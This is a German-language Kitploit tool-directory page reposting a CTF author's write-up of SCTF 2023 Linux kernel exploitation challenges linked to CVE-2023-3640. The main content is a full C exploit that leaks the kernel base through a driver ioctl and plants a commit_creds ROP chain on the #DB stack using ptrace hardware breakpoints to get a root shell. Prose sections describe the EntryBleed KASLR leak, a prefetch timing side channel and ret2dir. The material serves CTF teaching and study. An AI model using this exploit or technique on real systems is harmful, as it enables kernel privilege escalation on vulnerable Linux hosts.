Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-3640 — SCTF 2023 kernel pwn && CVE-2023-3640 | Kitploit
Tools/GitHubGitHub/pray77/cve-2023-3640
Vulnerability AnalysisExploitationCTFLearning & EducationBinary Exploitation
GitHubpray77/cve-2023-3640

CVE-2023-3640

SCTF 2023 kernel pwn && CVE-2023-3640

Repository anzeigen
291vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SCTF2023_kernelpwn

SCTF 2023 kernel pwn

Nebenbemerkung: Werbung in eigener Sache – der Autor ist ein Bachelorstudent, der 2024 seinen Abschluss macht und nimmt in diesem Jahr an der Herbst-Rekrutierung teil. Kontaktaufnahme ist willkommen~

sycrop

Diese Aufgabe soll zwei Punkte untersuchen.

  1. Am Startpunkt des cpu entry area mapping Bereichs gibt es mehrere Adressen, die einen festen Offset zum Kernel-Text-Segment haben. Einzelheiten siehe folgendes Bild. Dies ist nur ein kleiner Trick, der erstmals in Googles KCTF auftauchte und später mehrmals in internationalen Wettbewerben vorkam.

image

3Z(ZSS7$2V)YRPGD 7%KY

  1. Durch das Setzen von Hardware-Breakpoints auf Benutzerebene und deren Auslösen kann der Registerinhalt auf den DB-Stack verschoben werden, der einen festen Offset zum per CPU entry area hat. Vor Linux 6.2 war der per CPU entry area nicht randomisiert und die Adresse fest, sodass eine ROP-Kette an einer festen Kernel-Adresse erstellt werden kann. Dies ist der innovative Punkt dieser Aufgabe. Der Autor nennt es vorläufig "ret2hbp". Die Benennung dient lediglich der Beschreibung dieser Angriffsmethode; der Autor erhebt keinen Anspruch auf Originalität. Tatsächlich ist der Entwicklungsweg der Kernel-Ausnutzung selbst schon faszinierend genug, und es macht schon genug Freude, am Strand eine Muschel zu finden :)

Die spezifischen Adressen und Offsets sind im Exploit enthalten, aber ich hoffe dennoch, dass ihr selbst debuggen könnt.

root@kitploit:~
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>

void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void teardown()
{
    kill(hbp_pid,9);
}

void create_hbp(void* addr)
{

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
        printf("Could not create hbp! ptrace dr0: %m\n");
        teardown();
        exit(1);
    }

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
        printf("Could not create hbp! ptrace dr7: %m\n");
        teardown();
        exit(1);
    }
}

void hbp_raw_fire()
{
    if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
        {
            printf("Failed to PTRACE_CONT: %m\n");
            teardown();
            exit(1);
        }
}
void getRootShell(void)
{   
    if(getuid()) {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. "
         "Execve root shell now...\033[0m");
    system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
    cpu_set_t mask;
    map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
    switch(hbp_pid = fork())
    {
        case 0: //child
            //pin cpu

            CPU_ZERO(&mask);
            CPU_SET(cpu,&mask);
            sched_setaffinity(0,sizeof(mask),&mask);
            ptrace(PTRACE_TRACEME,0,NULL,NULL);
            raise(SIGSTOP);
            __asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );
            exit(1);
        case -1:
            printf("fork: %m\n");
            exit(1);
        default: //parent. Just exit switch
            break;
    }
    int status;
    //Watch for stop:
    puts("Waiting for child");
    while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
    {
        sched_yield();
    }
    puts("Setting breakpoint");
    create_hbp(map);
}

int main()
{
    saveStatus();
    int fd = open("/dev/seven", O_RDWR);
    if(fd < 0) perror("Error open");
    unsigned long addr =  ioctl(fd,0x5555,0xfffffe0000000000+4);
    printf("0x%llx\n",addr-0x1008e00);
    kernel_base = addr-0x1008e00;
    init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
    commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
    pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
    init(1);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    ioctl(fd,0x6666,0xfffffe0000010f60);
}

sycrpg

Eigentlich ist dies nur eine 1-Day-Ausnutzungsaufgabe. Die grundlegende Idee stammt aus diesem Artikel von Google's Project Zero. Der Autor hat lediglich daraus eine CTF-Aufgabe gemacht, um euch diese – meiner Meinung nach – mächtige und interessante Ausnutzungsmethode näherzubringen und euch die Faszination erleben zu lassen, mit nur einem Byte an einer einzigen Adresse eine Root-Shell zu bekommen. https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1

moonpray

Dies ist eine Aufgabe, die eine 0-Day-Kernel-Informationslecks betrifft. Allerdings gab es eine unerwartete Lösung (beide Teams, die die Aufgabe gelöst haben, haben die unerwartete Lösung verwendet).

Die Aufgabe ist eine verstärkte Version von sycrop, bei der das Leak entfernt wurde. Da die Kernelversion 6.2 verwendet wird, wurde dem per CPU entry area Randomisierung hinzugefügt.

  1. Zuerst muss ein Leak erfolgen. Hierbei kommt die CPU-Sicherheitslücke ins Spiel. Beachte das -enable-kvm und -cpu host im Startskript; es wird die physische CPU verwendet. Tatsächlich sind die meisten Intel-CPUs von dieser Sicherheitslücke betroffen. Einzelheiten siehe den 1-Day-Artikel Entrybleed (https://www.willsroot.io/2022/12/entrybleed.html#comment-form). Mit dem dortigen Skript kann KASLR ermittelt werden.

  2. Für den ROP-Teil folgt man dem Ansatz von sycrop: Der Stack sollte zum DB-Stack verschoben werden. Da nun aber der per CPU entry area randomisiert ist, wird auch der DB-Stack (bei Offset per CPU entry area + 0xf000) randomisiert. Allerdings wird bei aktiviertem KPTI nicht nur der Systemaufruf-Eintrittspunkt (EntryBleed's entry_SYSCALL_64) in den Benutzermodus gemappt, sondern auch der per CPU entry area. Daher kann der Offset durch Messung der Zeitdifferenz mit Prefetch-Befehlen ermittelt werden. Das konkrete Skript kann erst nach Freigabe durch den Hersteller veröffentlicht werden (aber die obige Beschreibung sollte ausreichen, damit ihr es selbst hinbekommt).

  3. Zur unerwarteten Lösung: Für den ROP-Teil kann ret2dir verwendet werden. Dies war ein Versehen des Autors. Bei der Erstellung der Aufgabe hatte ich auch überlegt, ob ret2dir funktionieren könnte, aber aus Zeitgründen den Hauptteil der Aufgabe fertiggestellt und dann vergessen, mich darum zu kümmern. Immerhin ist die Aufgabe so noch lösbar.

Tool herunterladen